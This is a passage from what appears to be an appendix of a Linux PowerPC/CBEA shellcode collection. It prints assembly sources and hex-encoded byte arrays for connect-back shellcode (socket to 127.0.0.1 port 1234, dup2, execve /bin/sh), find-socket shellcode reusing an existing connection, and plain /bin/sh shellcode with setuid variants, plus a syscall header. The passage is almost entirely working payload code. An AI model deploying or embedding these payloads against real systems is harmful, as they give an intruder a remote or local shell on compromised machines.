"\x40\x80\xff\xec" /* bge+ <cntsockcode+108> */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel+ <cntsockcode+132> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */
"\x94\x61\xff\xfc" /* stwu r3,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
37
7.7 lin-power-cntsockcode64.S
/*
* $Id: lin-power-cntsockcode64.S 31 2008-11-03 04:02:02Z ramon $
*
* lin-power-cntsockcode64.S - Linux Power/CBEA Network connect code
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
USA
*
*/
/*
* Compile with the following command.
* $ gcc -Wall -o lin-power-cntsockcode64 lin-power-cntsockcode64.S
*
*/
#include "linux-power.h"
.globl main
main:
cntsockcode64:
xor %r31,%r31,%r31
lil %r29,__CAL
# socket
cal %r28,-511+1(%r29)
cal %r27,-511+2(%r29)
stdu %r31,-8(%r1)
stdu %r28,-8(%r1)
stdu %r27,-8(%r1)
mr %r4,%r1
cal %r3,__NC_socket(%r29)
cal %r0,__NC_socketcall(%r29)
.long 0x44ffff02
mr %r26,%r3
38
# connect
cal %r25,-511+16(%r29)
/*
* The following GPRs result in zeros when used with liu instruction.
* %r24, %r16, %r8, %r0
*
*/
liu %r23,0x7f00
oril %r23,%r23,0x0001
lil %r22,0x04d2
stu %r23,-4(%r1)
stu %r22,-4(%r1)
st %r27,-2(%r1)
mr %r21,%r1
stdu %r25,-8(%r1)
stdu %r21,-8(%r1)
stdu %r26,-8(%r1)
mr %r4,%r1
cal %r3,__NC_connect(%r29)
cal %r0,__NC_socketcall(%r29)
.long 0x44ffff02
0:
# dup2
mr %r4,%r27
mr %r3,%r26
cal %r0,__NC_dup2(%r29)
.long 0x44ffff02
ai. %r27,%r27,-1
bge 0b
shellcode64:
# lil %r31,__CAL
xor. %r5,%r5,%r5
bnel shellcode64
mflr %r30
cal %r30,511(%r30)
cal %r3,-511+36(%r30)
stb %r5,-511+43(%r30)
stdu %r5,-8(%r1)
stdu %r3,-8(%r1)
mr %r4,%r1
# cal %r0,__NC_execve(%r31)
cal %r0,__NC_execve(%r29)
.long 0x44ffff02
.asciz "/bin/sh"
39
7.8 lin-power-cntsockcode64.c
/*
* $Id: lin-power-cntsockcode64.c 31 2008-11-03 04:02:02Z ramon $
*
* lin-power-cntsockcode64.c - Linux Power/CBEA Network connect code
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
USA
*
*/
#define CNTSOCKADDR1 54
#define CNTSOCKADDR2 58
#define CNTSOCKPORT 62
40
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x04" /* addi r3,r29,-508 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7f\x64\xdb\x78" /* mr r4,r27 */
"\x7f\x43\xd3\x78" /* mr r3,r26 */
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
"\x44\xff\xff\x02" /* sc */
"\x37\x7b\xff\xff" /* addic. r27,r27,-1 */
"\x40\x80\xff\xec" /* bge+ <cntsockcode64+108> */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel+ <cntsockcode64+132> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\xf8\xa1\xff\xf9" /* stdu r5,-8(r1) */
"\xf8\x61\xff\xf9" /* stdu r3,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
41
7.9 lin-power-fndsockcode.S
/*
* $Id: lin-power-fndsockcode.S 30 2008-11-03 03:59:08Z ramon $
*
* lin-power-fndsockcode.S - Linux Power/CBEA Find socket code
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
USA
*
*/
/*
* Compile with the following command.
* $ gcc -Wall -o lin-power-fndsockcode lin-power-fndsockcode.S
*
*/
#include "linux-power.h"
.globl main
main:
fndsockcode:
xor %r31,%r31,%r31
lil %r29,__CAL
# getpeername
stu %r31,-4(%r1)
mr %r28,%r1
cal %r27,-511+16(%r29)
stu %r27,-4(%r1)
mr %r26,%r1
stu %r26,-4(%r1)
stu %r28,-4(%r1)
stu %r31,-4(%r1)
42
0:
cal %r31,511(%r31)
cal %r31,-511+1(%r31)
cal %r1,511(%r1)
cal %r1,-511+4(%r1)
stu %r31,-4(%r1)
mr %r4,%r1
cal %r3,__NC_getpeername(%r29)
cal %r0,__NC_socketcall(%r29)
.long 0x44ffff02
cal %r25,511(%r28)
lhz %r25,-511+2(%r25)
cmpli 0,%r25,1234
bne 0b
cal %r24,-511+2(%r29)
1:
# dup2
mr %r4,%r24
mr %r3,%r31
cal %r0,__NC_dup2(%r29)
.long 0x44ffff02
ai. %r24,%r24,-1
bge 1b
shellcode:
# lil %r31,__CAL
xor. %r5,%r5,%r5
bnel shellcode
mflr %r30
cal %r30,511(%r30)
cal %r3,-511+36(%r30)
stb %r5,-511+43(%r30)
stu %r5,-4(%r1)
stu %r3,-4(%r1)
mr %r4,%r1
# cal %r0,__NC_execve(%r31)
cal %r0,__NC_execve(%r29)
.long 0x44ffff02
.asciz "/bin/sh"
43
7.10 lin-power-fndsockcode.c
/*
* $Id: lin-power-fndsockcode.c 30 2008-11-03 03:59:08Z ramon $
*
* lin-power-fndsockcode.c - Linux Power/CBEA Find socket code
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
USA
*
*/
#define FNDSOCKPORT 86
44
"\x7f\xe3\xfb\x78" /* mr r3,r31 */
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
"\x44\xff\xff\x02" /* sc */
"\x37\x18\xff\xff" /* addic. r24,r24,-1 */
"\x40\x80\xff\xec" /* bge+ <fndsockcode+96> */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel+ <fndsockcode+120> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */
"\x94\x61\xff\xfc" /* stwu r3,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
45
7.11 lin-power-fndsockcode64.S
/*
* $Id: lin-power-fndsockcode64.S 31 2008-11-03 04:02:02Z ramon $
*
* lin-power-fndsockcode64.S - Linux Power/CBEA Find socket code
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
USA
*
*/
/*
* Compile with the following command.
* $ gcc -Wall -o lin-power-fndsockcode64 lin-power-fndsockcode64.S
*
*/
#include "linux-power.h"
.globl main
main:
fndsockcode64:
xor %r31,%r31,%r31
lil %r29,__CAL
# getpeername
stu %r31,-4(%r1)
mr %r28,%r1
cal %r27,-511+16(%r29)
stu %r27,-4(%r1)
mr %r26,%r1
stdu %r26,-8(%r1)
stdu %r28,-8(%r1)
stdu %r31,-8(%r1)
46
0:
cal %r31,511(%r31)
cal %r31,-511+1(%r31)
cal %r1,511(%r1)
cal %r1,-511+8(%r1)
stdu %r31,-8(%r1)
mr %r4,%r1
cal %r3,__NC_getpeername(%r29)
cal %r0,__NC_socketcall(%r29)
.long 0x44ffff02
cal %r25,511(%r28)
lhz %r25,-511+2(%r25)
cmpli 0,%r25,1234
bne 0b
cal %r24,-511+2(%r29)
1:
# dup2
mr %r4,%r24
mr %r3,%r31
cal %r0,__NC_dup2(%r29)
.long 0x44ffff02
ai. %r24,%r24,-1
bge 1b
shellcode64:
# lil %r31,__CAL
xor. %r5,%r5,%r5
bnel shellcode64
mflr %r30
cal %r30,511(%r30)
cal %r3,-511+36(%r30)
stb %r5,-511+43(%r30)
stdu %r5,-8(%r1)
stdu %r3,-8(%r1)
mr %r4,%r1
# cal %r0,__NC_execve(%r31)
cal %r0,__NC_execve(%r29)
.long 0x44ffff02
.asciz "/bin/sh"
47
7.12 lin-power-fndsockcode64.c
/*
* $Id: lin-power-fndsockcode64.c 31 2008-11-03 04:02:02Z ramon $
*
* lin-power-fndsockcode64.c - Linux Power/CBEA Find socket code
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
USA
*
*/
#define FNDSOCKPORT 86
48
"\x7f\xe3\xfb\x78" /* mr r3,r31 */
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
"\x44\xff\xff\x02" /* sc */
"\x37\x18\xff\xff" /* addic. r24,r24,-1 */
"\x40\x80\xff\xec" /* bge+ <fndsockcode64+96> */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel+ <fndsockcode64+120> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\xf8\xa1\xff\xf9" /* stdu r5,-8(r1) */
"\xf8\x61\xff\xf9" /* stdu r3,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
49
7.13 lin-power-shellcode.S
/*
* $Id: lin-power-shellcode.S 30 2008-11-03 03:59:08Z ramon $
*
* lin-power-shellcode.S - Linux Power/CBEA shellcode
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
USA
*
*/
/*
* Compile with the following command.
* $ gcc [-DALL] -Wall -o lin-power-shellcode lin-power-shellcode.S
*
*/
#include "linux-power.h"
.globl main
main:
#ifdef ALL
setresuidcode:
lil %r31,__CAL
xor %r5,%r5,%r5
xor %r4,%r4,%r4
xor %r3,%r3,%r3
cal %r0,__NC_setresuid(%r31)
.long 0x44ffff02
setreuidcode:
lil %r31,__CAL
xor %r4,%r4,%r4
xor %r3,%r3,%r3
cal %r0,__NC_setreuid(%r31)
.long 0x44ffff02
50
setuidcode:
lil %r31,__CAL
xor %r3,%r3,%r3
cal %r0,__NC_setuid(%r31)
.long 0x44ffff02
#endif
shellcode:
lil %r31,__CAL
xor. %r5,%r5,%r5
bnel shellcode
mflr %r30
cal %r30,511(%r30)
cal %r3,-511+36(%r30)
stb %r5,-511+43(%r30)
stu %r5,-4(%r1)
stu %r3,-4(%r1)
mr %r4,%r1
cal %r0,__NC_execve(%r31)
.long 0x44ffff02
.asciz "/bin/sh"
#ifdef ALL
exitcode:
lil %r31,__CAL
xor %r3,%r3,%r3
cal %r0,__NC_exit(%r31)
.long 0x44ffff02
#endif
51
7.14 lin-power-shellcode.c
/*
* $Id: lin-power-shellcode.c 30 2008-11-03 03:59:08Z ramon $
*
* lin-power-shellcode.c - Linux Power/CBEA shellcode
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
USA
*
*/
52
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */
"\x94\x61\xff\xfc" /* stwu r3,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1f\xfe\x0c" /* addi r0,r31,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
53
7.15 lin-power-shellcode64.S
/*
* $Id: lin-power-shellcode64.S 31 2008-11-03 04:02:02Z ramon $
*
* lin-power-shellcode64.S - Linux Power/CBEA shellcode
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
USA
*
*/
/*
* Compile with the following command.
* $ gcc -Wall -o lin-power-shellcode64 lin-power-shellcode64.S
*
*/
#include "linux-power.h"
.globl main
main:
shellcode64:
lil %r31,__CAL
xor. %r5,%r5,%r5
bnel shellcode64
mflr %r30
cal %r30,511(%r30)
cal %r3,-511+36(%r30)
stb %r5,-511+43(%r30)
stdu %r5,-8(%r1)
stdu %r3,-8(%r1)
mr %r4,%r1
cal %r0,__NC_execve(%r31)
.long 0x44ffff02
.asciz "/bin/sh"
54
7.16 lin-power-shellcode64.c
/*
* $Id: lin-power-shellcode64.c 31 2008-11-03 04:02:02Z ramon $
*
* lin-power-shellcode64.c - Linux Power/CBEA shellcode
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
USA
*
*/
55
7.17 linux-power.h
/*
* $Id: linux-power.h 30 2008-11-03 03:59:08Z ramon $
*
* linux-power.h
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
USA
*
*/
#ifndef LINUX_POWER_H
#define LINUX_POWER_H
#define __NR_exit 1
#define __NR_execve 11
#define __NR_setuid 23
#define __NR_dup2 63
#define __NR_setreuid 70
#define __NR_setresuid 164
#define __NR_socketcall 102
#define __SC_socket 1
#define __SC_bind 2
#define __SC_connect 3
#define __SC_listen 4
#define __SC_accept 5
#define __SC_getpeername 7
56
#define __NC_socket -(__CAL - __SC_socket)
#define __NC_bind -(__CAL - __SC_bind)
#define __NC_connect -(__CAL - __SC_connect)
#define __NC_listen -(__CAL - __SC_listen)
#define __NC_accept -(__CAL - __SC_accept)
#define __NC_getpeername -(__CAL - __SC_getpeername)
#endif
57